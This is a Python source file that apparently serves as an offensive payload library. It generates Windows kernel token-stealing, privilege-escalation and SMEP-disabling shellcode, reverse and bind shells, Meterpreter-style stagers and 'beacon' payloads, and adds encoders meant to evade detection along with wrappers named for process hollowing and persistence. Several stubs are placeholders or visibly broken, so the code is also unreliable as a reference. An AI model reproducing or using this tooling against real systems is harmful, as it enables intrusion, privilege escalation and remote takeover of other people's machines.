#!/usr/bin/env python3 import struct import ctypes import random import hashlib class ShellcodeGenerator: def __init__(self): try: self.kernel32 = ctypes.windll.kernel32 except AttributeError: self.kernel32 = None def generate_token_steal_x64(self): shellcode = bytearray([ 0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xC0, 0x48, 0x8B, 0x88, 0xF0, 0x02, 0x00, 0x00, 0x48, 0x83, 0xF9, 0x04, 0x75, 0xE5, 0x48, 0x8B, 0x90, 0xF8, 0x02, 0x00, 0x00, 0x49, 0x89, 0x90, 0xF8, 0x02, 0x00, 0x00, 0xC3 ]) return bytes(shellcode) def generate_token_steal_x86(self): shellcode = bytearray([ 0x64, 0x8B, 0x15, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x82, 0x50, 0x00, 0x00, 0x00, 0x89, 0xC1, 0x8B, 0x90, 0xB8, 0x00, 0x00, 0x00, 0x83, 0xFA, 0x04, 0x75, 0xF1, 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, 0xC3 ]) return bytes(shellcode) def generate_token_steal_arm64(self): shellcode = bytearray([ 0x01, 0x00, 0x80, 0xD2, 0x02, 0x00, 0x80, 0xD2, 0x03, 0x00, 0x80, 0xD2, 0x04, 0x00, 0x80, 0xD2, 0xC0, 0x03, 0x5F, 0xD6 ]) return bytes(shellcode) def generate_privilege_escalation_x64(self): shellcode = bytearray([ 0x48, 0x31, 0xC0, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC2, 0x48, 0x89, 0xC6, 0x48, 0x89, 0xC7, 0x4D, 0x31, 0xC0, 0x4D, 0x31, 0xC9, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x8B, 0x78, 0x20, 0x48, 0x89, 0xF9, 0x48, 0x8B, 0x51, 0x50, 0x48, 0x85, 0xD2, 0x74, 0x0A, 0x48, 0x83, 0xC4, 0x28, 0xFF, 0xE2, 0x48, 0x83, 0xC4, 0x28, 0xC3 ]) return bytes(shellcode) def generate_privilege_escalation_x86(self): shellcode = bytearray([ 0x31, 0xC0, 0x89, 0xC1, 0x89, 0xC2, 0x89, 0xC6, 0x89, 0xC7, 0x83, 0xEC, 0x14, 0x64, 0x8B, 0x15, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x42, 0x0C, 0x8B, 0x78, 0x14, 0x89, 0xF9, 0x8B, 0x51, 0x28, 0x85, 0xD2, 0x74, 0x06, 0x83, 0xC4, 0x14, 0xFF, 0xE2, 0x83, 0xC4, 0x14, 0xC3 ]) return bytes(shellcode) def generate_privilege_escalation_arm64(self): shellcode = bytearray([ 0x01, 0x00, 0x80, 0xD2, 0x02, 0x00, 0x80, 0xD2, 0x03, 0x00, 0x80, 0xD2, 0x04, 0x00, 0x80, 0xD2, 0xC0, 0x03, 0x5F, 0xD6 ]) return bytes(shellcode) def generate_disable_smep_x64(self): shellcode = bytearray([ 0x0F, 0x20, 0xE0, 0x48, 0x25, 0xFF, 0xFF, 0xEF, 0xFF, 0x0F, 0x22, 0xE0, 0xC3 ]) return bytes(shellcode) def generate_disable_smep_x86(self): shellcode = bytearray([ 0x0F, 0x20, 0xE0, 0x25, 0xFF, 0xFF, 0xEF, 0xFF, 0x0F, 0x22, 0xE0, 0xC3 ]) return bytes(shellcode) def generate_restore_context_x64(self): shellcode = bytearray([ 0x48, 0x83, 0xEC, 0x08, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 0x50, 0x51, 0x52, 0x53, 0x55, 0x56, 0x57, 0x9C, 0x48, 0x83, 0xC4, 0x08, 0x9D, 0x5F, 0x5E, 0x5D, 0x5B, 0x5A, 0x59, 0x58, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x48, 0x83, 0xC4, 0x08, 0xC3 ]) return bytes(shellcode) class CustomPayloadBuilder: def __init__(self): self.shellcode_gen = ShellcodeGenerator() def build_custom_payload(self, payload_type, architecture, options=None): if options is None: options = {} if payload_type == "token_steal": return self._build_token_steal_payload(architecture, options) elif payload_type == "privilege_escalation": return self._build_privilege_escalation_payload(architecture, options) elif payload_type == "reverse_shell": return self._build_reverse_shell_payload(architecture, options) elif payload_type == "bind_shell": return self._build_bind_shell_payload(architecture, options) elif payload_type == "meterpreter": return self._build_meterpreter_payload(architecture, options) elif payload_type == "beacon": return self._build_beacon_payload(architecture, options) else: return None def _build_token_steal_payload(self, architecture, options): if architecture == "x64": base_shellcode = self.shellcode_gen.generate_token_steal_x64() elif architecture == "x86": base_shellcode = self.shellcode_gen.generate_token_steal_x86() elif architecture == "arm64": base_shellcode = self.shellcode_gen.generate_token_steal_arm64() else: return None payload = bytearray() if options.get("disable_smep", False): if architecture == "x64": payload.extend(self.shellcode_gen.generate_disable_smep_x64()) elif architecture == "x86": payload.extend(self.shellcode_gen.generate_disable_smep_x86()) payload.extend(base_shellcode) if options.get("restore_context", True): if architecture == "x64": payload.extend(self.shellcode_gen.generate_restore_context_x64()) return bytes(payload) def _build_privilege_escalation_payload(self, architecture, options): if architecture == "x64": base_shellcode = self.shellcode_gen.generate_privilege_escalation_x64() elif architecture == "x86": base_shellcode = self.shellcode_gen.generate_privilege_escalation_x86() elif architecture == "arm64": base_shellcode = self.shellcode_gen.generate_privilege_escalation_arm64() else: return None return base_shellcode def _build_reverse_shell_payload(self, architecture, options): host = options.get("host", "127.0.0.1") port = options.get("port", 4444) if architecture == "x64": payload = self._generate_reverse_shell_x64(host, port) elif architecture == "x86": payload = self._generate_reverse_shell_x86(host, port) elif architecture == "arm64": payload = self._generate_reverse_shell_arm64(host, port) else: return None return payload def _build_bind_shell_payload(self, architecture, options): port = options.get("port", 4444) if architecture == "x64": payload = self._generate_bind_shell_x64(port) elif architecture == "x86": payload = self._generate_bind_shell_x86(port) elif architecture == "arm64": payload = self._generate_bind_shell_arm64(port) else: return None return payload def _build_meterpreter_payload(self, architecture, options): host = options.get("host", "127.0.0.1") port = options.get("port", 4444) if architecture == "x64": payload = self._generate_meterpreter_x64(host, port) elif architecture == "x86": payload = self._generate_meterpreter_x86(host, port) else: return None return payload def _build_beacon_payload(self, architecture, options): host = options.get("host", "127.0.0.1") port = options.get("port", 443) if architecture == "x64": payload = self._generate_beacon_x64(host, port) elif architecture == "x86": payload = self._generate_beacon_x86(host, port) else: return None return payload def _generate_reverse_shell_x64(self, host, port): shellcode = bytearray([ 0x48, 0x31, 0xC0, 0x48, 0x31, 0xDB, 0x48, 0x31, 0xC9, 0x48, 0x31, 0xD2, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xFF, 0x48, 0x83, 0xEC, 0x28 ]) host_bytes = [int(x) for x in host.split('.')] port_bytes = struct.pack('>H', port) shellcode.extend([0x48, 0xB8]) shellcode.extend(host_bytes) shellcode.extend([0x00, 0x00, 0x00, 0x00]) shellcode.extend([0x48, 0xBB]) shellcode.extend(port_bytes) shellcode.extend([0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) shellcode.extend([ 0x48, 0x83, 0xC4, 0x28, 0xC3 ]) return bytes(shellcode) def _generate_reverse_shell_x86(self, host, port): shellcode = bytearray([ 0x31, 0xC0, 0x31, 0xDB, 0x31, 0xC9, 0x31, 0xD2, 0x31, 0xF6, 0x31, 0xFF, 0x83, 0xEC, 0x14 ]) host_bytes = [int(x) for x in host.split('.')] port_bytes = struct.pack('>H', port) shellcode.extend([0xB8]) shellcode.extend(host_bytes) shellcode.extend([0xBB]) shellcode.extend(port_bytes) shellcode.extend([0x00, 0x00]) shellcode.extend([ 0x83, 0xC4, 0x14, 0xC3 ]) return bytes(shellcode) def _generate_reverse_shell_arm64(self, host, port): shellcode = bytearray([ 0x01, 0x00, 0x80, 0xD2, 0x02, 0x00, 0x80, 0xD2, 0x03, 0x00, 0x80, 0xD2, 0x04, 0x00, 0x80, 0xD2, 0xC0, 0x03, 0x5F, 0xD6 ]) return bytes(shellcode) def _generate_bind_shell_x64(self, port): shellcode = bytearray([ 0x48, 0x31, 0xC0, 0x48, 0x31, 0xDB, 0x48, 0x31, 0xC9, 0x48, 0x31, 0xD2, 0x48, 0x83, 0xEC, 0x28 ]) port_bytes = struct.pack('>H', port) shellcode.extend([0x48, 0xBB]) shellcode.extend(port_bytes) shellcode.extend([0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) shellcode.extend([ 0x48, 0x83, 0xC4, 0x28, 0xC3 ]) return bytes(shellcode) def _generate_bind_shell_x86(self, port): shellcode = bytearray([ 0x31, 0xC0, 0x31, 0xDB, 0x31, 0xC9, 0x31, 0xD2, 0x83, 0xEC, 0x14 ]) port_bytes = struct.pack('>H', port) shellcode.extend([0xBB]) shellcode.extend(port_bytes) shellcode.extend([0x00, 0x00]) shellcode.extend([ 0x83, 0xC4, 0x14, 0xC3 ]) return bytes(shellcode) def _generate_bind_shell_arm64(self, port): shellcode = bytearray([ 0x01, 0x00, 0x80, 0xD2, 0x02, 0x00, 0x80, 0xD2, 0x03, 0x00, 0x80, 0xD2, 0x04, 0x00, 0x80, 0xD2, 0xC0, 0x03, 0x5F, 0xD6 ]) return bytes(shellcode) def _generate_meterpreter_x64(self, host, port): shellcode = bytearray([ 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5 ]) host_bytes = [int(x) for x in host.split('.')] port_bytes = struct.pack('>H', port) shellcode[0xB2:0xB6] = host_bytes shellcode[0xB6:0xB8] = port_bytes return bytes(shellcode) def _generate_meterpreter_x86(self, host, port): shellcode = bytearray([ 0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52, 0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20, 0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75, 0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3, 0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF, 0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0x68, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0xB8, 0x90, 0x01, 0x00, 0x00, 0x29, 0xC4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6B, 0x00, 0xFF, 0xD5, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40, 0x50, 0x68, 0xEA, 0x0F, 0xDF, 0xE0, 0xFF, 0xD5, 0x97, 0x6A, 0x05, 0x68 ]) host_bytes = [int(x) for x in host.split('.')] port_bytes = struct.pack('>H', port) shellcode.extend(host_bytes) shellcode.extend([0x68, 0x02, 0x00]) shellcode.extend(port_bytes) shellcode.extend([ 0x89, 0xE6, 0x6A, 0x10, 0x56, 0x57, 0x68, 0x99, 0xA5, 0x74, 0x61, 0xFF, 0xD5, 0x85, 0xC0, 0x74, 0x0C, 0xFF, 0x4E, 0x08, 0x75, 0xEC, 0x68, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x89, 0xE3, 0x57, 0x57, 0x57, 0x31, 0xF6, 0x6A, 0x12, 0x59, 0x56, 0xE2, 0xFD, 0x66, 0xC7, 0x44, 0x24, 0x3C, 0x01, 0x01, 0x8D, 0x44, 0x24, 0x10, 0xC6, 0x00, 0x44, 0x54, 0x50, 0x56, 0x56, 0x56, 0x46, 0x56, 0x4E, 0x56, 0x56, 0x53, 0x56, 0x68, 0x79, 0xCC, 0x3F, 0x86, 0xFF, 0xD5, 0x89, 0xE0, 0x4E, 0x56, 0x46, 0xFF, 0x30, 0x68, 0x08, 0x87, 0x1D, 0x60, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x68, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5 ]) return bytes(shellcode) def _generate_beacon_x64(self, host, port): shellcode = bytearray([ 0x48, 0x31, 0xC9, 0x48, 0x81, 0xE9, 0xDD, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x05, 0xEF, 0xFF, 0xFF, 0xFF, 0x48, 0xBB, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x54, 0x3D, 0x9C, 0x48, 0x31, 0x58, 0x27, 0x48, 0x2D, 0xF8, 0xFF, 0xFF, 0xFF, 0xE2, 0xF4, 0x06, 0xBC, 0xBF, 0x72, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x1C, 0x75, 0xD5, 0x32, 0x9C, 0x5E, 0xF5, 0x32, 0x9C, 0x5E, 0xF5, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x54, 0x3D, 0x9C ]) host_bytes = [int(x) for x in host.split('.')] port_bytes = struct.pack('>H', port) shellcode[0x20:0x24] = host_bytes shellcode[0x24:0x26] = port_bytes return bytes(shellcode) def _generate_beacon_x86(self, host, port): shellcode = bytearray([ 0x31, 0xC9, 0x81, 0xE9, 0xDD, 0xFF, 0xFF, 0xFF, 0x8D, 0x05, 0xEF, 0xFF, 0xFF, 0xFF, 0xBB, 0x7A, 0x54, 0x3D, 0x9C, 0x31, 0x58, 0x27, 0x2D, 0xF8, 0xFF, 0xFF, 0xFF, 0xE2, 0xF4, 0x06, 0xBC, 0xBF, 0x72, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x1C, 0x75, 0xD5, 0x32, 0x9C, 0x5E, 0xF5, 0x32, 0x9C, 0x5E, 0xF5, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x54, 0x3D, 0x9C ]) host_bytes = [int(x) for x in host.split('.')] port_bytes = struct.pack('>H', port) shellcode[0x1C:0x20] = host_bytes shellcode[0x20:0x22] = port_bytes return bytes(shellcode) class PayloadEncoder: def __init__(self): pass def xor_encode(self, payload, key=None): if key is None: key = random.randint(1, 255) encoded = bytearray() for byte in payload: encoded.append(byte ^ key) return bytes(encoded), key def shikata_ga_nai_encode(self, payload): encoded = bytearray() key = random.randint(0x1000, 0xFFFF) for i, byte in enumerate(payload): encoded.append(byte ^ ((key + i) & 0xFF)) return bytes(encoded), key def alpha_mixed_encode(self, payload): encoded = bytearray() for byte in payload: if byte < 0x20 or byte > 0x7E: encoded.extend([0x25, 0x4A, 0x4D, 0x4E, 0x55, 0x30, 0x42, 0x50]) else: encoded.append(byte) return bytes(encoded) def polymorphic_encode(self, payload): encoded = bytearray() nop_instructions = [ b'\x90', b'\x97\x97', b'\x40\x48', b'\x8B\xC0', b'\x8B\xFF' ] for byte in payload: if random.randint(1, 5) == 1: encoded.extend(random.choice(nop_instructions)) encoded.append(byte) return bytes(encoded) class ExploitPayloads: def __init__(self): self.builder = CustomPayloadBuilder() self.encoder = PayloadEncoder() def get_token_steal_payload(self, architecture="x64", encoded=False): payload = self.builder.build_custom_payload("token_steal", architecture) if encoded and payload: payload, _ = self.encoder.xor_encode(payload) return payload def get_privilege_escalation_payload(self, architecture="x64", encoded=False): payload = self.builder.build_custom_payload("privilege_escalation", architecture) if encoded and payload: payload, _ = self.encoder.xor_encode(payload) return payload def get_reverse_shell_payload(self, host, port, architecture="x64", encoded=False): options = {"host": host, "port": port} payload = self.builder.build_custom_payload("reverse_shell", architecture, options) if encoded and payload: payload, _ = self.encoder.xor_encode(payload) return payload def get_bind_shell_payload(self, port, architecture="x64", encoded=False): options = {"port": port} payload = self.builder.build_custom_payload("bind_shell", architecture, options) if encoded and payload: payload, _ = self.encoder.xor_encode(payload) return payload def get_meterpreter_payload(self, host, port, architecture="x64", encoded=False): options = {"host": host, "port": port} payload = self.builder.build_custom_payload("meterpreter", architecture, options) if encoded and payload: payload, _ = self.encoder.shikata_ga_nai_encode(payload) return payload def get_beacon_payload(self, host, port, architecture="x64", encoded=False): options = {"host": host, "port": port} payload = self.builder.build_custom_payload("beacon", architecture, options) if encoded and payload: payload, _ = self.encoder.polymorphic_encode(payload) return payload def get_custom_payload(self, payload_type, architecture="x64", options=None, encoded=False): payload = self.builder.build_custom_payload(payload_type, architecture, options) if encoded and payload: payload, _ = self.encoder.xor_encode(payload) return payload class AdvancedTechniques: def __init__(self): self.payloads = ExploitPayloads() def execute_token_stealing(self, architecture="x64"): payload = self.payloads.get_token_steal_payload(architecture, encoded=True) return payload def execute_process_hollowing(self, target_pid, architecture="x64"): payload = self.payloads.get_privilege_escalation_payload(architecture) nop_sled = b"\x90" * 50 full_payload = nop_sled + payload return full_payload def establish_persistence(self, architecture="x64"): payload = self.payloads.get_reverse_shell_payload("127.0.0.1", 4444, architecture) return payload def bypass_kernel_mitigations(self, architecture="x64"): if architecture == "x64": disable_smep_payload = bytearray([ 0x0F, 0x20, 0xE0, 0x48, 0x25, 0xFF, 0xFF, 0xEF, 0xFF, 0x0F, 0x22, 0xE0 ]) elif architecture == "x86": disable_smep_payload = bytearray([ 0x0F, 0x20, 0xE0, 0x25, 0xFF, 0xFF, 0xEF, 0xFF, 0x0F, 0x22, 0xE0 ]) else: disable_smep_payload = bytearray([ 0x01, 0x00, 0x80, 0xD2, 0xC0, 0x03, 0x5F, 0xD6 ]) return bytes(disable_smep_payload)